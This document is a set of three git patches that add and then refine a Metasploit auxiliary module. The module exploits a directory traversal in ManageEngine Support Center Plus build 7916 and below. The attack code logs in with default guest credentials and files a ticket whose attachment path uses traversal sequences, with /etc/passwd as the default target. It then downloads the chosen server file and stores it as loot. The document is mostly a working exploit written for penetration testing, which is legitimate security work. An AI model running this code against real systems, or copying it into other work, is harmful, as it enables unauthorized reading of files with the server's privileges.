From 32d7f15a5c75a03dca8d8cc5f2002b691c5946a7 Mon Sep 17 00:00:00 2001 From: xistence Date: Tue, 28 Jan 2014 15:45:23 +0700 Subject: [PATCH 1/3] added ManageEngine Support Center Plus directory traversal auxiliary module --- ...support_center_plus_directory_traversal.rb | 154 ++++++++++++++++++ 1 file changed, 154 insertions(+) create mode 100644 modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb diff --git a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb new file mode 100644 index 0000000000..d74157e6db --- /dev/null +++ b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb @@ -0,0 +1,154 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => "ManageEngine Support Center Plus 7916 Directory Traversal", + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in ManageEngine + Support Center Plus build 7916 and lower. The module will create a support ticket + as a normal user, attaching a link to a file on the server. By requesting our + own attachment, it's possible to retrieve any file on the filesystem with the same + privileges as Support Center Plus is running. On Windows this is always with SYSTEM + privileges. + }, + 'License' => MSF_LICENSE, + 'Author' => 'xistence ', # Discovery, Metasploit module + 'References' => + [ + ], + 'Platform' => ['java'], + 'Arch' => ARCH_JAVA, + 'Targets' => 'Support Center Plus', + 'Privileged' => true, + 'DisclosureDate' => "Jan 28 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the Support Center Plus installation', '/']), + OptString.new('RPORT', [true, 'Remote port of the Support Center Plus installation', '8080']), + OptString.new('USER', [true, 'The Support Center Plus user', 'guest']), + OptString.new('PASS', [true, 'The Support Center Plus password', 'guest']), + OptString.new('FILE', [true, 'The Support Center Plus password', '/etc/passwd']) + ], self.class) + end + + def run_host(ip) + uri = target_uri.path + peer = "#{ip}:#{rport}" + + print_status("#{peer} - Retrieving cookie") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, ""), + }) + + if res.code == 200 + if (res.headers['Set-Cookie'] =~ /JSESSIONID=([a-zA-Z0-9]+)/) + session = $1 + print_status("#{peer} - Session cookie is [ #{session} ]") + else + print_error("#{peer} - Session cookie not found!") + end + else + print_error("#{peer} - Server returned #{res.code.to_s}") + end + + post_data = "j_username=#{datastore['USER']}&j_password=#{datastore['PASS']}&logonDomainName=undefined&sso_status=false&loginButton=Login" + print_status("#{peer} - Logging in as user [ #{datastore['USER']} ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "j_security_check"), + 'cookie' => "JSESSIONID=#{session}", + 'data' => post_data + }) + + if not res or res.code != 302 + print_error("#{peer} - Login was not succesful!") + return + else + print_status("#{peer} - Login succesful") + end + + randomname = Rex::Text.rand_text_alphanumeric(10) + print_status("#{peer} - Creating ticket with our requested file [ #{datastore['FILE']} ] as attachment") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "WorkOrder.do"), + 'cookie' => "JSESSIONID=#{session}", + 'vars_post' => + { + 'reqTemplate' => '', + 'prodId' => '0', + 'priority' => '2', + 'reqID' => '2', + 'usertypename' => 'Requester', + 'reqName' => 'Guest', + 'category' => '0', + 'item' => '0', + 'subCategory' => '0', + 'title' => randomname, + 'description' => randomname, + 'MOD_IND' => 'WorkOrder', + 'FORMNAME' => 'WorkOrderForm', + 'attach' => "/../../../../../../../../../../../..#{datastore['FILE']}", + 'attPath' => '', + 'component' => 'Request', + 'attSize' => Rex::Text.rand_text_numeric(8), + 'attachments' => randomname, + 'autoCCList' => '', + 'addWO' => 'addWO' + } + }) + + if not res or res.code != 200 + print_error("#{peer} - Ticket not created due to error!") + return + else + print_status("#{peer} - Ticket created") + if (res.body =~ /FileDownload.jsp\?module=Request\&ID=(\d+)\&authKey=(.*)\" class=/) + fileid = $1 + print_status("#{peer} - File ID is [ #{fileid} ]") + fileauthkey = $2 + print_status("#{peer} - Auth Key is [ #{fileauthkey} ]") + else + print_error("#{peer} - File ID and AuthKey not found!") + end + end + + print_status("#{peer} - Requesting file [ #{uri}workorder/FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey} ]") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "workorder", "FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey}") + }) + + # If we don't get a 200 when we request our malicious payload, we suspect + # we don't have a shell, either. Print the status code for debugging purposes. + if res and res.code != 200 + print_error("#{peer} - Server returned #{res.code.to_s}") + else + data = res.body + p = store_loot( + 'manageengine.supportcenterplus', + 'application/octet-stream', + ip, + data, + datastore['FILE'] + ) + print_good("#{peer} - [ #{datastore['FILE']} ] loot stored as [ #{p} ]") + end + end +end + From e81a0ed22b42b5f885a6046f3b1b2f2dd25abfd7 Mon Sep 17 00:00:00 2001 From: xistence Date: Fri, 31 Jan 2014 13:28:45 +0700 Subject: [PATCH 2/3] Changes as requested for SupportCenterPlus module --- ...support_center_plus_directory_traversal.rb | 67 +++++++++++-------- 1 file changed, 38 insertions(+), 29 deletions(-) diff --git a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb index d74157e6db..e1b6fd49ca 100644 --- a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info={}) super(update_info(info, - 'Name' => "ManageEngine Support Center Plus 7916 Directory Traversal", + 'Name' => "ManageEngine Support Center Plus Directory Traversal", 'Description' => %q{ This module exploits a directory traversal vulnerability found in ManageEngine Support Center Plus build 7916 and lower. The module will create a support ticket @@ -27,8 +27,10 @@ class Metasploit3 < Msf::Auxiliary 'Author' => 'xistence ', # Discovery, Metasploit module 'References' => [ + [ 'EDB', '31262' ], + [ 'URL', 'http://packetstormsecurity.com/files/124975/ManageEngine-Support-Center-Plus-7916-Directory-Traversal.html' ] ], - 'Platform' => ['java'], + 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => 'Support Center Plus', 'Privileged' => true, @@ -55,31 +57,32 @@ class Metasploit3 < Msf::Auxiliary 'uri' => normalize_uri(uri, ""), }) - if res.code == 200 - if (res.headers['Set-Cookie'] =~ /JSESSIONID=([a-zA-Z0-9]+)/) - session = $1 - print_status("#{peer} - Session cookie is [ #{session} ]") - else - print_error("#{peer} - Session cookie not found!") - end + if res and res.code == 200 + session = res.get_cookies else print_error("#{peer} - Server returned #{res.code.to_s}") end - post_data = "j_username=#{datastore['USER']}&j_password=#{datastore['PASS']}&logonDomainName=undefined&sso_status=false&loginButton=Login" - print_status("#{peer} - Logging in as user [ #{datastore['USER']} ]") - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(uri, "j_security_check"), - 'cookie' => "JSESSIONID=#{session}", - 'data' => post_data - }) + print_status("#{peer} - Logging in as user [ #{datastore['USER']} ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "j_security_check"), + 'cookie' => session, + 'vars_post' => + { + 'j_username' => datastore['USER'], + 'j_password' => datastore['PASS'], + 'logonDomainName' => 'undefined', + 'sso_status' => 'false', + 'loginButton' => 'Login' + } + }) - if not res or res.code != 302 + if res and res.code == 302 + print_status("#{peer} - Login succesful") + else print_error("#{peer} - Login was not succesful!") return - else - print_status("#{peer} - Login succesful") end randomname = Rex::Text.rand_text_alphanumeric(10) @@ -87,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, "WorkOrder.do"), - 'cookie' => "JSESSIONID=#{session}", + 'cookie' => session, 'vars_post' => { 'reqTemplate' => '', @@ -113,10 +116,7 @@ class Metasploit3 < Msf::Auxiliary } }) - if not res or res.code != 200 - print_error("#{peer} - Ticket not created due to error!") - return - else + if res and res.code == 200 print_status("#{peer} - Ticket created") if (res.body =~ /FileDownload.jsp\?module=Request\&ID=(\d+)\&authKey=(.*)\" class=/) fileid = $1 @@ -126,19 +126,26 @@ class Metasploit3 < Msf::Auxiliary else print_error("#{peer} - File ID and AuthKey not found!") end + else + print_error("#{peer} - Ticket not created due to error!") + return end print_status("#{peer} - Requesting file [ #{uri}workorder/FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey} ]") res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(uri, "workorder", "FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey}") + 'uri' => normalize_uri(uri, "workorder", "FileDownload.jsp"), + 'vars_get' => + { + 'module' => 'Request', + 'ID' => fileid, + 'authKey' => fileauthkey + } }) # If we don't get a 200 when we request our malicious payload, we suspect # we don't have a shell, either. Print the status code for debugging purposes. - if res and res.code != 200 - print_error("#{peer} - Server returned #{res.code.to_s}") - else + if res and res.code == 200 data = res.body p = store_loot( 'manageengine.supportcenterplus', @@ -148,6 +155,8 @@ class Metasploit3 < Msf::Auxiliary datastore['FILE'] ) print_good("#{peer} - [ #{datastore['FILE']} ] loot stored as [ #{p} ]") + else + print_error("#{peer} - Server returned #{res.code.to_s}") end end end From e9f04d9203490cd5a75a1d5e5088c5c61b73cdf5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 31 Jan 2014 09:37:40 -0600 Subject: [PATCH 3/3] Do final cleanup for Support Center Plus module --- ...support_center_plus_directory_traversal.rb | 59 +++++++++---------- 1 file changed, 28 insertions(+), 31 deletions(-) diff --git a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb index e1b6fd49ca..e631179872 100644 --- a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb @@ -6,7 +6,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -27,43 +26,41 @@ class Metasploit3 < Msf::Auxiliary 'Author' => 'xistence ', # Discovery, Metasploit module 'References' => [ - [ 'EDB', '31262' ], - [ 'URL', 'http://packetstormsecurity.com/files/124975/ManageEngine-Support-Center-Plus-7916-Directory-Traversal.html' ] + ['EDB', '31262'], + ['OSVDB', '102656'], + ['BID', '65199'], + ['URL', 'http://packetstormsecurity.com/files/124975/ManageEngine-Support-Center-Plus-7916-Directory-Traversal.html'] ], - 'Platform' => 'java', - 'Arch' => ARCH_JAVA, - 'Targets' => 'Support Center Plus', - 'Privileged' => true, - 'DisclosureDate' => "Jan 28 2014", - 'DefaultTarget' => 0)) + 'DisclosureDate' => "Jan 28 2014" + )) - register_options( - [ - OptString.new('TARGETURI', [true, 'The base path to the Support Center Plus installation', '/']), - OptString.new('RPORT', [true, 'Remote port of the Support Center Plus installation', '8080']), - OptString.new('USER', [true, 'The Support Center Plus user', 'guest']), - OptString.new('PASS', [true, 'The Support Center Plus password', 'guest']), - OptString.new('FILE', [true, 'The Support Center Plus password', '/etc/passwd']) - ], self.class) + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the Support Center Plus installation', '/']), + OptString.new('RPORT', [true, 'Remote port of the Support Center Plus installation', '8080']), + OptString.new('USER', [true, 'The Support Center Plus user', 'guest']), + OptString.new('PASS', [true, 'The Support Center Plus password', 'guest']), + OptString.new('FILE', [true, 'The Support Center Plus password', '/etc/passwd']) + ], self.class) end def run_host(ip) uri = target_uri.path peer = "#{ip}:#{rport}" - print_status("#{peer} - Retrieving cookie") + vprint_status("#{peer} - Retrieving cookie") res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(uri, ""), + 'uri' => normalize_uri(uri, "") }) if res and res.code == 200 session = res.get_cookies else - print_error("#{peer} - Server returned #{res.code.to_s}") + vprint_error("#{peer} - Server returned #{res.code.to_s}") end - print_status("#{peer} - Logging in as user [ #{datastore['USER']} ]") + vprint_status("#{peer} - Logging in as user [ #{datastore['USER']} ]") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, "j_security_check"), @@ -79,14 +76,14 @@ class Metasploit3 < Msf::Auxiliary }) if res and res.code == 302 - print_status("#{peer} - Login succesful") + vprint_status("#{peer} - Login succesful") else - print_error("#{peer} - Login was not succesful!") + vprint_error("#{peer} - Login was not succesful!") return end randomname = Rex::Text.rand_text_alphanumeric(10) - print_status("#{peer} - Creating ticket with our requested file [ #{datastore['FILE']} ] as attachment") + vprint_status("#{peer} - Creating ticket with our requested file [ #{datastore['FILE']} ] as attachment") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, "WorkOrder.do"), @@ -117,21 +114,21 @@ class Metasploit3 < Msf::Auxiliary }) if res and res.code == 200 - print_status("#{peer} - Ticket created") + vprint_status("#{peer} - Ticket created") if (res.body =~ /FileDownload.jsp\?module=Request\&ID=(\d+)\&authKey=(.*)\" class=/) fileid = $1 - print_status("#{peer} - File ID is [ #{fileid} ]") + vprint_status("#{peer} - File ID is [ #{fileid} ]") fileauthkey = $2 - print_status("#{peer} - Auth Key is [ #{fileauthkey} ]") + vprint_status("#{peer} - Auth Key is [ #{fileauthkey} ]") else - print_error("#{peer} - File ID and AuthKey not found!") + vprint_error("#{peer} - File ID and AuthKey not found!") end else - print_error("#{peer} - Ticket not created due to error!") + vprint_error("#{peer} - Ticket not created due to error!") return end - print_status("#{peer} - Requesting file [ #{uri}workorder/FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey} ]") + vprint_status("#{peer} - Requesting file [ #{uri}workorder/FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey} ]") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, "workorder", "FileDownload.jsp"), @@ -156,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary ) print_good("#{peer} - [ #{datastore['FILE']} ] loot stored as [ #{p} ]") else - print_error("#{peer} - Server returned #{res.code.to_s}") + vprint_error("#{peer} - Server returned #{res.code.to_s}") end end end